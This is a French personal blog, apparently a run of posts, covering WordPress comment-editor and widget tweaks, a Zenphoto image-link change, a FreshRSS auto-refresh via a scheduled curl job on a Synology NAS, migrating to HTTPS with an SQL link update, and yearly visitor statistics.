J’ai donc commencé par chercher un plugin, et ce n’est pas ça qui manque, certains très jolis d’ailleurs comme wpDiscuz, mais lourds, d’autres s’appuyant sur des serveurs comme Discus, et d’autres encore connectés aux réseaux sociaux… C’est d’ailleurs frappant comme tous les articles intitulés du genre “X Best Wordpress Comment Plugins 2021” ne parlent que de ceux-là…

Ensuite j’en ai trouvé de tout simple comme Simple Comment Quicktags, qui était de fait un peu trop simple : seulemnt quatre boutons (bold, italic, link, quote).

J’ai fini par chercher le moyen de le faire sans plugin (j’aurais du commencer par là), et suis tombé sur cette page intitulée “Add TinyMCE Rich Text Editor to WordPress Comments without Plugin”. Exactement ce qu’il me fallait.

La première partie est assez simple, on ajoute une fonction dans la fichier functions.php du thème.

add_filter( 'comment_form_defaults', 'rich_text_comment_form' );
function rich_text_comment_form( $args ) {
	ob_start();
	wp_editor( '', 'comment', array(
		'media_buttons' => true, // show insert/upload button(s) to users with permission
		'textarea_rows' => '10', // re-size text area
		'dfw' => false, // replace the default full screen with DFW (WordPress 3.4+)
		'tinymce' => array(
        	'theme_advanced_buttons1' => 'bold,italic,underline,strikethrough,bullist,numlist,code,blockquote,link,unlink,outdent,indent,|,undo,redo,fullscreen',
	        'theme_advanced_buttons2' => '', // 2nd row, if needed
        	'theme_advanced_buttons3' => '', // 3rd row, if needed
        	'theme_advanced_buttons4' => '' // 4th row, if needed
  	  	),
		'quicktags' => array(
 	       'buttons' => 'strong,em,link,block,del,ins,img,ul,ol,li,code,close'
	    )
	) );
	$args['comment_field'] = ob_get_clean();
	return $args;
}

On peut même ajouter des boutons supplémentaire, et ce jusqu’à 4 lignes ! La liste des boutons possibles est ici (le lien sur la page n’est plus bon).

Cela fonctionne tel quel, mais il y a un problème : si vous répondez à un commentaire existant, le formulaire de réponse reste en bas de page au lieu de se placer juste sous le commentaire auquel vous répondez.

Il faut alors ajouter ce bout de code à la suite de la fonction précédemment ajoutée :

Je n’ai pas pu le mettre en mode texte, à cause de la partie script qui est interprétée… :( Mais vous pouvez le copier à partir de la page d’origine, en faisant tout de même attention : il y a une erreur avec un " ?>" qui s’est rajouté à la dernière ligne, et qui met la fonction en erreur. Il ne faut donc pas copier cette dernière ligne.

Avec cette modification, le formulaire pour ajouter un commentaire se déplace bien comme il faut, mais je fais face à un nouveau problème : l’onglet par défaut, celui de TinyMCE, et j’ai perdu le prompt dans le formulaire dans le cas où je réponds à un commentaire précédent.

À ce stade, cela dépasse mes compétences. Mais ai-je vraiment besoin de ce mode VISUEL ? Après tout, le mode TEXTE me suffit largement.

Reste à supprimer cet onglet. Pour cela, il suffira de mettre la partie 'tinymce' => false, comme ceci (à comparer avec la première version plus haut):

function rich_text_comment_form( $args ) {
	ob_start();
	wp_editor( '', 'comment', array(
		'media_buttons' => true, // show insert/upload button(s) to users with permission
		'textarea_rows' => '10', // re-size text area
		'dfw' => false, // replace the default full screen with DFW (WordPress 3.4+)
		'tinymce' => false,
		'quicktags' => array(
 	       'buttons' => 'strong,em,link,block,del,ins,img,ul,ol,li,code,close'
	    )
	) );
	$args['comment_field'] = ob_get_clean();
	return $args;
}

Et voilà, je n’ai plus que l’éditeur “Quicktags” d’affiché :

Voilà, on peut désormais mettre en forme les commentaires avec les options de base, de façon simple et sans avoir ajouté un plugin somme toute inutile pour mes besoins.

Plugin Get Recent Comments et Worpress 5.7

Wed, 24 Mar 2021 10:45:27 +0000

Le week-end dernier, j’ai mis à jour le blog avec la dernière version de Wordpress, à savoir la 5.7 (je devais être en 5.4.x précédemment).

Tout s’est bien passé, mais le plugin “Get Recent Comments” que j’utilise pour afficher les 5 derniers commentaires dans la barre latérale ne fonctionnait plus. L’occasion de voir qu’il n’est plus maintenu (il datait de 2004), que le site du plugin est inaccessible, etc… Bref, il était temps de trouver une autre solution.

Alors il en existe plusieurs de ce type (Better Recent Comments, Recent Comments Widget Plus, etc…) mais j’avais une option avec le vieux plugin que je ne retrouvais dans aucun autre, c’était la possibilité de filtrer mes propres commentaires (mes réponses en fait), ce que je trouvais très pratique, voir essentiel.

J’ai donc posé la question sur le forum français de Wordpress, WPFR. Ça faisait longtemps que j’y étais pas allé, il a été tout refait et est très joli. Ma question est ici.

Grâce à PhiLyon qui s’est bien investi sur le problème (merci le confinement !) et que je remercie chaleureusement, après plusieurs essais une solution a été trouvée, en combinant un plugin existant et en ajoutant une fonction au thème.

D’abord, le plugin à installer est Post-Specific Comments Widget (PSCW). Une fois le widget placé dans la barre latérale, on peut choisir facilement le format que l’on souhaite avec les “shortcodes” proposés : j’ai pu ainsi reproduire ce qu’affichait mon plugin précédent, et même ajouter l’avatar (pour le fun) :

On peut aussi définir la longueur de l’extrait (excerpt) et même la taille de l’avatar comme ceci : [AVATAR 64] pour obtenir un avatar de 80px. La valeur par défaut est de 32px.

Presque parfait donc, puisqu’il n’y a pas d’option pour filtrer les commentaires de l’auteur. C’est là que Philyon a fait très fort, en me proposant d’ajouter ce bout de code (une fonction) à un thème enfant (child theme) de Wordpress :

function ra_recent_comments_less_author( $array ) {
	global $post;
	$array['user_id'] = !$post->post_author;
	return $array;
}
add_action( 'widget_comments_args', 'ra_recent_comments_less_author' );

Et ça tombait bien puisque j’utilise le thème FourteenPress, qui est un thème enfant de TwentyFourteen, un des thème fournis avec Wordpress. Et voilà ! Avec cette fonction, mes propres commentaires sont filtrés et ne sont pas affichés dans le widget ! :cool:

Dans la foulée, j’ai posté un commentaire sur le plugin GRCW et proposant d’ajouter cette option. Le créateur m’a vite répondu en me remerciant et en promettant de regarder ça dès que possible. Le monde du logiciel libre est vraiment top !

Statistiques du blog – année 2020

Tue, 05 Jan 2021 16:51:49 +0000

L’année dernière, il n’y pas eu d’articles sur les stats du blog, j’étais en plein déménagement. L’année 2019 restera donc un mystère côté chiffres… Mais comme c’est quand même l’article le plus inutile de l’année, je renoue avec la tradition. ;)

J’en profite souhaiter au lecteur qui passerait sur cette page une très bonne année 2021, une bonne santé (ça revient à la mode), et plein de bonnes choses, c’est toujours possible ! Pour ma part, une bonne année passe par un bon filtrage des sources d’information, parce que ce ne sont pas les imbécilités (ni les imbéciles) qui manquent ! 8-)

Mais revenons à l’essentiel dans ce monde de brutes, les stats du site.

Les stats

Et on commence par le nombre de visites mensuelles. En 2018, la moyenne était à 2500 visites mensuelles ; en 2020, on descend à 2300. Mais l’année termine fort avec un mois de décembre exceptionnel ! :D

Plus globalement, on reste en-dessous de l’année 2017, même si décembre 2020 est presque au même niveau :

Ce qui donne en comparant les années de 2009 à 2020 une pente douce mais constante depuis 2016 :

Enfin, selon le généreux plugin WP online counter, le nombre total de visiteurs du blog (depuis sa création) est de 2 465 864 visites à ce jour (4 janvier 2021). Vu comme ça, c’est impressionnant (j’ai créé le blog en décembre 2005, cela fait donc 15 ans).

Les articles

Selon le plugin WP Show Stats, il y a maintenant 1302 articles publiés sur le blog, et 1471 commentaires. Soit 56 articles rédigés en 2020, et 52 commentaires cette même année. Excepté les commentaires de 2018, les chiffres sont plutôt stables depuis 3 ans.

Titre201520162017201820192020Articles756592566856Commentaires2654401095552

Le Top 20

Venons-en maintenant aux articles les plus lus en 2020 ! (rappel : les statistiques ont été réinitialisées en 2015, suite au changement d’hébergeur).

On retrouve grosso modo les mêmes articles en tête de gondole, en commençant par les deux indétrônables concernant ma fracture du coude.

Apparaissent tout de même 5 articles écrits récemment :

On le voit, ce sont les articles techniques qui ont le plus de succès. Avec mon nouveau NAS Openmediavault, d’autres articles devraient venir cette année, la tendance devrait se confirmer.

Il n’y a d’ailleurs plus un seul bouquin dans ce top 20, je crois que c’est la première fois. :( Le premier se classe 24ème, et c’est le Cycle Les quatre saisons de Leonardo Padura. À noter en 26ème position l’excellent Ringolevio d’Emmett Grogan.

Titre201520162017201820192020Fracture du coude – 6 mois après4998114071066167385067Rééducation du coude3937113741101764343903NAS Synology : Installation de Nextcloud sur DSM 617622147DS Video sur Samsung Smart TV63121471935Thunderbird : archiver ses mails8631030Synchroniser les agendas de Thunderbird et Android avec Baïkal58214761270772656Plus de guidage vocal dans OsmAnd252261335501Mapper le répertoire d’un NAS Synology sur Ubuntu306488LineageOS avec microG à la place des services Google613486Chute de vélo (à l’arrêt)463839763578485Faire son arbre généalogique avec GRAMPS6351126732240483NAS Synology : notification par SMS via Free Mobile399843463Retour à LineageOS sans microG417375Un Raspberry Pi pour ma chaîne Hi-Fi337Gnome-calendar : ajouter un agenda CalDAV334Synology : indexation multimedia et NFS401307Synchroniser et insérer des sous-titres dans une vidéo201284Changer le calendrier par défaut de Thunderbird/Lightning271Installation Ubuntu 20.04233Thunderbird 68 et la synchro CardDAV/CalDAV211

Voilà, à l’année prochaine, et portez vous bien !

Zenphoto - Thème ZpMobile : afficher les images en taille réelle

Fri, 28 Jun 2019 16:51:26 +0000

Voilà bien longtemps que j’utilise Zenphoto pour gérer mes albums : le premier article sur mon blog date de 2006, quand Zenphoto date de 2005. J’avais même participé à la traduction française à l’époque !

J’en suis très satisfait, pour essentiellement deux raisons : la gestion des sous-albums et la possibilité de mettre un commentaire sur chaque photo, ce qui donne de l’intérêt au parcours de l’album… C’est d’ailleurs sa qualité principale : une multitude d’options permettent d’arriver à ce que l’on veut, contrairement à d’autres ‘web gallery’ où l’on doit s’adapter à ce qui a été fait. D’autre part, on peut poser des questions sur leur forum, on obtient une réponse assez vite, ce qui est appréciable.

En 2015, j’installais un nouveau thème zpmobile, afin que l’affichage soit compatible avec nos beaux smartphones… Tout allait donc très bien, il n’y avait qu’un chose qui me chiffonnait : les images sur le PC étaient affichées avec une largeur maximale de 595px (et bien sûr s’adaptaient à la taille de l’écran du smartphone), sans avoir la possibilité de les afficher en pleine taille.

C’est ce que je me suis attaché à modifier il y a déjà quelque temps déjà, je le copie ici pour partager la modification à faire pour ceux que ça intéresserait.

Sachant que la taille des images de mes albums est de 1800x1024 par défaut (en mode paysage), c’était dommage de visionner l’album sur un grand écran sans pouvoir profiter de cette taille.

J’ai donc cherché comment faire ce changement : je ne trouvais rien dans les multiples options et réglages de Zenphoto (et pourtant, il y en a !), changer la taille d’affichage par défaut (595px) allait provoquer trop de changements difficiles à maîtriser, j’arrivais à la conclusion que la meilleure méthode était d’ajouter un lien sur l’image affichée pour pouvoir l’afficher en plein écran si on le souhaitait. Simple et efficace.

J’ai donc comparé le fichier image.php avec celui d’un autre thème appelé Zenpage, qui propose ce lien par défaut. Après quelques essais, j’ai ajouté le lien juste sous la fonction getFullImageURL() (la dernière ligne en fait) :

<?php
if (isImagePhoto()) {
   $tburl = getFullImageURL();
   ?>
   <a href="<?php echo html_encode(pathurlencode($tburl)); ?>"><img src="<?php echo html_encode(pathurlencode(getDefaultSizedImage())); ?>" alt="<?php printBareImageTitle(); ?>" title="Afficher la photo en taille réelle" style="max-width:<?php echo getDefaultWidth(); ?>px"/></a>

C’était un bon début, car l’image était bien devenue un lien , on pouvait cliquer dessus… mais une page blanche s’affichait ! :-( Toutefois un simple F5 pour rafraîchir et l’image apparaissait comme je le souhaitais… Je n’étais donc pas loin de la solution, mais il me manquait un truc…

J’ai alors posé la question sur le forum, et obtenu une réponse rapidement : le framework jquerymobile (utilisé par le thème) commande tout, et il faut désactiver ce comportement de manière explicite en suivant les recommandations de cette page.

Un peu de lecture plus tard, j’avais la solution : ajouter un attribut rel=“external” à mon lien. Ce qui donne ceci :

<?php
if (isImagePhoto()) {
   $tburl = getFullImageURL();
   ?>
   <a rel="external" href="<?php echo html_encode(pathurlencode($tburl)); ?>"><img src="<?php echo html_encode(pathurlencode(getDefaultSizedImage())); ?>" alt="<?php printBareImageTitle(); ?>" title="Afficher la photo en taille réelle" style="max-width:<?php echo getDefaultWidth(); ?>px"/></a>

Et voilà, le tour était joué, il suffit maintenant de cliquer sur l’image pour l’avoir en taille maximale. Merci Zenphoto !

Statistiques du blog - année 2018

Thu, 21 Feb 2019 18:26:41 +0000

D’habitude, l’article des statistiques est le premier de l’année, et d’ailleurs sans doute le plus inutile, mais bon, si on ne faisait que des choses utiles, on s’ennuierait… ;-) . Mais cette année, le premier janvier, j’attaquais un trekking entre Kalaw et le lac Inle au Myanmar ! Je le rédige donc largement plus tard cette fois, et ma foi… ça ne change pas grand chose !

C’est donc aussi un peu tard pour vous souhaiter mes meilleurs vœux pour cette nouvelle année, mais le cœur y est ! Santé et bonheur… ce sera déjà pas mal.

Alors voilà les chiffres habituels, tirés des statistiques fournies par Wordpress, pas questions bien sûr d’utiliser les Google Analytics, très détaillés, mais qui pistent en même temps tous les visiteurs… Pas de ça ici !

En résumé, les visites, comme les articles, sont plutôt à la baisse, les commentaires par contre sont en nette hausse (sympa !). Enfin, pas mal de nouveaux articles (à majorité techniques) intègrent le top 20, ce qui est plutôt pas mal. Hélas, un seul bouquin arrive à y entrer cette année, et c’est madame Simone de Beauvoir qui a cet honneur et cette responsabilité !

Les stats

Commençons donc par le nombre de visites mensuelles. Après un très beau mois de janvier, on est vite revenu à la tendance déjà présente à partir du milieu d’année 2017, et les nombre global de visites mensuelles dépasse à peine les 2500. Au total, on passe de 35000 à 31000…

Et fort logiquement, les records de 2017 ne sont pas dépassés :

Ce qui nous donne en comparant les années de 2009 à 2018 :

Enfin, selon le plugin WP online counter, le nombre total de visiteurs du blog (depuis sa création) est de 1 850 375 visites à ce jour (approximativement, étant absent début janvier).

Les articles

Il y a maintenant 1 183 articles publiés sur le blog, et 1 250 commentaires. Soit 60 articles rédigés en 2018 (en baisse), et 109 commentaires cette même année (en nette hausse, ce qui est plutôt sympa, car signifie plus d’interactivité). Titre2015201620172018Articles75659256Commentaires265440109

Le Top 20

Venons-en maintenant aux articles les plus lus !

Rappel : avec le changement d’hébergeur en 2015, les statistiques ont été remises à zéro, laissant une chance aux articles plus récents d’apparaître dans ce classement… Sans pour autant avoir la moindre chance de détrôner les deux articles concernant ma fracture du coude, toutefois en baisse notable cette année (le troisième a pris nettement du recul).

Pas mal d’articles techniques récents font leur apparition, que ce soit à propos du NAS Synology, du smartphone et de LineageOS (4), ou d’Ubuntu et Thunderbird. Ce sont d’ailleurs clairement les sujets qui dominent. Celui sur l’installation de Nextcloud sur DSM a rencontré un franc succès : écrit en juin 2018, il arrive en 4ème position, et a reçu 31 commentaires à lui tout seul (en comptant mes réponses !).

Enfin un seul articles de la catégorie Littérature apparait dans ce classement, contre quatre l’année dernière : Mémoires d’une jeune fille rangée – Simone de Beauvoir. Très bon livre, le premier d’une série que je n’ai pas encore achevée, puisque je n’ai lu ensuite que La force de l’âge… Il m’en reste donc deux, que je devrais lire cette année, parce que franchement ça vaut le détour. Titre2015201620172018Fracture du coude – 6 mois après499811407106616738Rééducation du coude393711374110176434DS Video sur Samsung Smart TV6312147NAS Synology : Installation de Nextcloud sur DSM 61762Thunderbird : archiver ses mails863NAS Synology : notification par SMS via Free Mobile399843Synchroniser les agendas de Thunderbird et Android avec Baïkal58214761270772Ubuntu 18.04 : installation et premier retour695LineageOS avec microG à la place des services Google613Chute de vélo (à l’arrêt)463839763578Retour à LineageOS sans microG417Synology : indexation multimedia et NFS401LineageOS : La météo sur l’écran de verrouillage385Plus de guidage vocal dans OsmAnd252261335Agrandir un disque VirtualBox309Mapper le répertoire d’un NAS Synology sur Ubuntu306Sauvegarder les données de son NAS Synology vers Ubuntu 16.04 avec Hyper Backup et Rsync430283Faire son arbre généalogique avec GRAMPS6351126732240Mémoires d’une jeune fille rangée - Simone de Beauvoir215340208Synchroniser et insérer des sous-titres dans une vidéo201

Voilà, à l’année prochaine, et portez vous bien !

Mise à jour de FreshRSS

Wed, 28 Mar 2018 17:09:15 +0000

J’avais fait un article il y a (déjà) un peu plus de trois ans intitulé FreshRSS et EasyRSS : une bonne combinaison. Il reprenait l’installation du serveur FreshRSS, et de l’application Android EasyRSS.

Hier sur une inspiration j’ai installé la dernière version stable de FreshRSS. À vrai dire, je ne l’utilisais plus beaucoup, même si les flux RSS restent quand même un moyen très efficace pour suivre des sites et être informé.

Mais un point m’avait un peu découragé d’utiliser FreshRSS : à l’époque, je n’avais pas trouvé de moyen pour mettre à jour les flux automatiquement, car mon hébergeur ne me donnait pas accès aux tâches planifiées sur le serveur. Donc quand je voulais aller voir mes flux, il fallait que je commence par les rafraîchir, ce qui était assez fastidieux… C’est là que l’on se rend compte que l’on est exigeant et peu patient quand même ! ;-)

Apparemment, c’est maintenant possible par une autre méthode ! Je vais donc un peu résumer tout ça, avec les quelques problèmes rencontrés, ce sera un bon complément au premier article.

FreshRSS

J’ai d’abord voulu lancer une mise à jour, mais elle a planté. J’étais en v1.3 beta, donc ce n’est pas très étonnant. J’ai donc tout simplement effacé tous les fichiers de FreshRSS et recopié les nouveaux via FTP. J’ai donc choisi la dernière version stable à partir de leur site, soit la v1.10.2. Après j’ai ouvert la page dans Firefox, et suivi les quelques étapes de l’installation sans aucun problème. Et comme je n’avais rien effacé dans la base de données, j’ai retrouvé tous mes flux. Génial.

Ensuite, j’ai consulté un peu la documentation en ligne, et je me suis rendu compte qu’il y avait un moyen pour que FreshRSS soit mis à jour régulièrement de façon automatique. Les différentes méthodes sont expliquées sur cette page.

Dans mon cas, le première méthode n’est pas possible, puisque mon hébergeur ne m’autorise pas l’accès aux tâches planifiées sur le serveur. La seconde, appelée Cron en-ligne, est par contre intéressante ; il faut par contre disposer d’une autre machine qui va exécuter la tâche qui va envoyer la commande de rafraîchissement au serveur grâce à une commande cURL. Et ça tombe bien , j’ai mon NAS Synology qui est toujours démarré, c’est donc parfait.

Il suffit d’aller dans le planificateur de tâches du panneau de configuration :

Puis de créer une nouvelle tâche :

Donnez lui un nom dans l’onglet Général, et laissez l’utilisateur root :

Choisissez la fréquence d’exécution (attention à ne pas y aller trop fort, sinon l’hébergeur risque de ne pas apprécier) :

Et enfin entrez la commande et choisissez les options de mail :

La commande est donc sous la forme :

 curl 'https://votre.serveur.net/FreshRSS/p/i/?c=feed&a=actualize'

Pour que cette méthode fonctionne, et si vous avez laissé la méthode d’authentification par défaut (soit Formulaire), il faut cocher les 2 cases suivantes dans la partie Authentification de la Configuration de FreshRSS :

Ce n’est pas nécessaire si vous avez opté pour Aucune méthode d’authentification, mais elle est indiquée comme dangereuse, donc j’ai évité… Voilà pour la partie Mise à jour automatique de FreshRSS.

J’ai eu ensuite un petit souci sur un flux, celui de planet-libre : impossible de l’enregistrer, le log me disait “Unknown error” ou parfois “Time-out” :

Comme l’URL du flux était indiquée comme bonne sur validator.w3.org, j’ai alors créé un bug sur le Github de FreshRSS. J’ai eu une réponse très rapide, le problème vient plutôt du flux de planet-libre… J’ai essayé d’augmenter le timeout comme proposé, mais rien à faire, impossible de le remettre pour l’instant. Je verrai ça plus tard.

Dernier problème rencontré : comme je souhaitais utiliser EasyRSS sur le smartphone (la version disponible sur F-Droid), je devais faire deux choses : autoriser l’accès par API (voir l’écran de Méthode d’authentification ci-dessus, la troisième case cochée), puis aller dans la section Profil de la page de configuration de FreshRSS, et définir un mot de passe pour l’utilisateur :

Or impossible d’y arriver, je me prenais une erreur “403 - Forbidden” et j’étais déconnecté de FreshRSS. J’ai tout essayé, comme de supprimer le premier mot de passe (pour connexion par formulaire), et ne valider que ce mot de passe API, mais rien à faire.

J’ai fini par lancer Chromium (j’utilisais Firefox), et là aucun problème, j’ai pu définir mon mot de passe API (qui doit être différent du premier) pour l’accès à partir d’EasyRSS. Bizarre, vous avez dit bizarre ? J’imagine un problème avec Firefox et la gestion des mots de passe…

Voilà, sinon aucun problème côté smartphone, installation via F-Droid (on peut aussi y récupérer le fichier .apk si nécessaire, ou aller sur le site Github d’EasyRSS). Au premier démarrage, il suffit de s’identifier avec l’utilisateur et le mot de passe API créé : ``

L’URL est sous cette forme (ou http d’il n’y a pas de certificat) :

https://your.server.example/FreshRSS/p/api/greader.php

Me voilà donc reparti pour un tour avec le duo FreshRSS et EasyRSS ! Je rappelle le premier article sur le sujet :

FreshRSS et EasyRSS : une bonne combinaison

Bonne lecture de flux !

Statistiques du blog – année 2017

Mon, 01 Jan 2018 15:25:14 +0000

Tout d’abord, meilleurs vœux pour cette nouvelle année 2018 à toutes et à tous passant sur ce blog, par hasard ou pas.

Comme chaque année, c’est l’occasion de faire les statistiques du blog. Depuis 2015, je suis reparti pratiquement de zéro puisque je venais de migrer vers un nouvel hébergeur, avec mon propre nom de domaine suite à des déconvenues avec Free.

Les chiffres de 2017 sont assez semblables à ceux de 2016, légèrement en baisse, et très loin des meilleures années chez Free. C’est la vie, les pratiques sur internet changent, et pas question de Facebook ici.

Tout dépend aussi des sujets abordés : j’ai beaucoup d’articles sur les bouquins que j’ai lu ou les films que je vais voir, et qui intéressent potentiellement peu de monde. On voit par contre que les articles sur le smartphone, le NAS Synology, ou même Ubuntu, ont plus de succès, ce qui est logique : ce sont des articles qui expliquent comment faire les choses, ou résoudre un problème. Mais bon, tout de même quatre bouquins dans le top 20 cette année, un record !

Cette année, je vais installer la nouvelle version d’Ubuntu 18.04 LTS, après deux ans passés avec la 16.04 (je n’installe plus que les versions LTS), ce sera l’occasion d’un bel article j’espère.

Les stats

Commençons par le nombre de visites mensuelles : le nombre est à peu près stable, légèrement inférieur à 3000 visites. En légère baisse comparé à 2016, l’été a été terrible ! ;-) :

Les records de visites par mois et par jour sont tout de même dépassés, même si le nombre total de visites est inférieur à 2016 :

Ce qui nous donne en comparant les années de 2009 à 2017 :

Enfin, selon le plugin WP online counter, le nombre total de visiteurs du blog (depuis sa création) est de 1 647 198 visites à ce jour.

Les articles

Il y a maintenant 1 126 articles publiés sur le blog, et 1 250 commentaires. Soit 92 articles rédigés en 2017 (en hausse), et 40 commentaires cette même année (en baisse). Titre201520162017Articles756592Commentaires265440

Le Top 20

Venons-en maintenant aux articles les plus lus !

Avec le changement d’hébergeur en 2015, les statistiques avaient été remises à zéro, laissant une chance aux articles plus récents d’apparaître dans ce classement… Sans pour autant avoir la moindre chance de détrôner les trois articles concernant ma fracture du coude !

Seul vient s’intercaler dans ce trio de tête l’article sur la synchro des agendas entre Thunderbird et Android ; ce qui confirme l’intérêt pour les articles concernant le mobile, avec six articles classés sur les vingt (comme l’année dernière).

Trois articles sur le NAS Synology sont présents, le premier étant au sujet de l’application DS Video de Samsung Smart TV, permettant de lire directement la bibliothèque multimedia du NAS, un truc vraiment très pratique !

Enfin quatre articles de la catégorie Littérature apparaissent dans ce classement, contre deux l’année dernière : Mémoires d’une jeune fille rangée - Simone de Beauvoir, et Un barbare en Asie - Henri Michaux qui étaient déjà présents, auxquels viennent s’ajouter cette année Le langage silencieux – Edward T. Hall et Voyage au Congo – André Gide. Ça fait très plaisir, et quatre très bons livres !

Titre201520162017Rééducation du coude3 9371137411017Fracture du coude – 6 mois après49981140710661Synchroniser les agendas de Thunderbird et Android avec Baïkal58214761270Chute de vélo (à l’arrêt)463839763Faire son arbre généalogique avec GRAMPS6351126732DS Video sur Samsung Smart TV631Rooter le Mororola Moto G 4G LTE400903548Motorola Moto G 4G LTE : passage à Android 6 (Stock Android 6.0)470Sauvegarder les données de son NAS Synology vers Ubuntu 16.04 avec Hyper Backup et Rsync430NAS Synology : notification par SMS via Free Mobile399Mémoires d’une jeune fille rangée - Simone de Beauvoir215340Installation d’Ubuntu 16.04, retour et problèmes rencontrés288322Motorola Moto G : passage à Android 5.1 avec la “Stock ROM”548278Plus de guidage vocal dans OsmAnd252261Radiotray et les nouvelles URLs pour Radio-France174467241FreshRSS et EasyRSS : une bonne combinaison155293236Un barbare en Asie - Henri Michaux189234Convertir les fichiers TS de la Freebox (SD)115207220Le langage silencieux – Edward T. Hall213Voyage au Congo – André Gide210 Voilà, à l’année prochaine, et portez vous bien !

Passage du blog en HTTPS

Thu, 28 Dec 2017 18:34:27 +0000

Voilà, le site est maintenant en HTTPS ! Ça m’a pris d’un coup, et cela a été beaucoup plus simple que j’imaginais.

Déjà, pourquoi passer en https, c’est-à-dire en connexion chiffrée ? Le blog est public, les articles aussi, non seulement “je n’ai rien à cacher” (ça, c’est la mauvaise réponse), mais surtout quel intérêt à chiffrer sur le réseau le transfert de la page du blog que vous visualisez ?

D’abord, par principe, afin d’améliorer à sécuriser le web (bien malmené ces derniers jours) : un certificat, c’est d’abord et avant tout le moyen d’authentifier que le site accédé est bien le bon. Ensuite, les certificats se sont largement démocratisés ces dernières années, et sont même devenus gratuits, au moins pour l’usage qu’en a un particulier, avec Let’s encrypt. Enfin, parce que Google a commencé à intégrer l’utilisation d’une connexion chiffrée dans ses critères de classement (le fameux PageRank). Pour terminer, certainement aussi pour suivre un effet de mode !

Voilà pour les motivations. J’étais donc parti avec l’idée de devoir générer un certificat sur le site de Let’s encrypt, puis l’installer sur le site de mon hébergeur (One.com), et enfin passer manuellement le site Wordpress en https, ce qui peut se révéler galère…

Et puis en lisant cet article, j’ai vu que la première chose à faire était déjà de voir ce que proposait son hébergeur. Dans mon cas, c’est One.com, et effectivement, ils proposent très facilement un certificat, il y a juste une case à cocher, et attendre au plus 90 minutes pour que le certificat soit installé et opérationnel.

Il suffit ensuite d’installer un plugin Wordpress appelé Really Simple SSL, de l’activer, et le tour est joué ! Le site est maintenant accessible en https :

D’ailleurs, si vous utilisez Firefox comme navigateur (le seul navigateur qui respecte votre vie privée, et dont la dernière version v57 est très rapide), je vous recommande l’extension SmartHTTPS qui essaie systématiquement le https et rebascule sur http si cela ne fonctionne pas :

Les liens dans les articles

Pour aller un peu plus loin, les liens dans les articles (vers des images par exemple) sont toujours en http, tels que je les avais insérés. En fait, le plugin les réécrit en https dynamiquement quand la page est demandée.

Je n’ai pas pu m’empêcher d’aller tout de même les modifier dans la Base de Données de Wordpress via PhpMyAdmin et une petite commande SQL :

La commande est (0_posts est la tables des articles dans wordpress, et post_content le nom du champ) :

update 0_posts SET post_content = REPLACE(post_content, 'http://pled.fr', 'https://pled.fr')

On peut ensuite vérifier qu’il n’existe plus de liens en http avec la commande suivante :

SELECT * FROM `0_posts` WHERE `post_content` LIKE "%http://pled.fr%"

Voilà, il m’a fallu plus de temps à écrire cet article qu’à passer en https ! Ce qui est une très bonne chose. ;-)

Statistiques du blog – année 2016

Tue, 03 Jan 2017 11:15:08 +0000

Tout d’abord, meilleurs vœux pour cette nouvelle année 2017 à toutes et à tous passant sur ce blog, par hasard ou pas. Santé & bonheur pour vous et vos proches, c’est le plus important dans ce monde aux équilibres instables, bien malin qui pourrait prévoir ce qui va se passer…

Comme chaque année, c’est l’occasion de faire les statistiques du blog. L’année dernière, j’étais reparti pratiquement de zéro puisque je venais de migrer vers un nouvel hébergeur, suite à des déconvenues avec Free.

Les chiffres sont donc logiquement en hausse comparés à 2015, sans toutefois retrouver les plus belles années chez Free. Il faut maintenant tenir compte de l’évolution d’internet et de ses usages : les blogs comme celui-ci sont en perte de vitesse, il faut maintenant être sur Facebook, ou Google+, bref les fameux réseaux sociaux, pour être “visible”. À ce prix, je préfère largement devenir invisible ! ;-)

Tout dépend aussi des sujets abordés : j’ai beaucoup d’articles sur les bouquins que j’ai lu, qui intéressent potentiellement peu de monde. On voit par contre que les articles sur le smartphone, ou même Ubuntu (un article cette année), ont eu plus de succès, ce qui est logique : ce sont des articles qui expliquent comment faire les choses, ou résoudre un problème.

J’ai aussi commencé à faire des articles sur les films que je vais voir : depuis que je suis à Rennes, je peux profiter du Ciné TNB, à la programmation souvent plus intéressante que celle des grands cinémas (sans pour autant négliger ceux-ci quand le film le mérite).

Les stats

Commençons par le nombre de visites mensuelles : le nombre est à peu près stable, autour de 3000 visites. En hausse comparé à 2015, puisque j’étais parti pratiquement de zéro pour arriver péniblement à 2500 visites en Décembre.

Les records de visites par mois et par jour sont également dépassés, pour les mêmes raisons. Il faudra donc battre mars 2016 l’année prochaine.

Ce qui nous donne en comparant les années de 2009 à 2015 :

J’ai bien peur que les années 2012-2013 chez Free ne soient jamais ne serait-ce qu’approchées ! :-)

Enfin, selon le plugin WP online counter, le nombre total de visiteurs du blog (depuis sa création) est de 1 395 413 visites à ce jour.

Les articles

Il y a maintenant 1034 articles publiés sur le blog, et 1 205 commentaires. Soit 65 articles rédigés en 2016 (en baisse), et 106 commentaires cette même année (en hausse, ce qui est une bonne nouvelle). Titre20152016Articles7665Commentaires24106 Venons-en maintenant aux articles les plus lus !

Avec le changement d’hébergeur, les statistiques de l’année dernière avaient été remises à zéro, laissant une chance aux articles plus récents d’apparaître dans le « top 20»… Sans pour autant avoir la moindre chance de détrôner les deux premiers articles concernant ma fracture du coude, et même un troisième sur la chute de vélo ayant causé cette fracture !

L’article sur GRAMPS, troisième l’année dernière, se fait doubler par celui sur la synchro des agendas entre Thunderbird et Android avec Baïkal. L’intérêt pour le mobile se confirme avec six articles liés à ce sujet dans ce “top 20”.

Deux articles sont dans la catégorie Littérature : Mémoires d’une jeune fille rangée - Simone de Beauvoir, et Un barbare en Asie - Henri Michaux : c’est peu, mais mieux que l’année dernière (0 !). Et puis ce sont deux très bons bouquins !

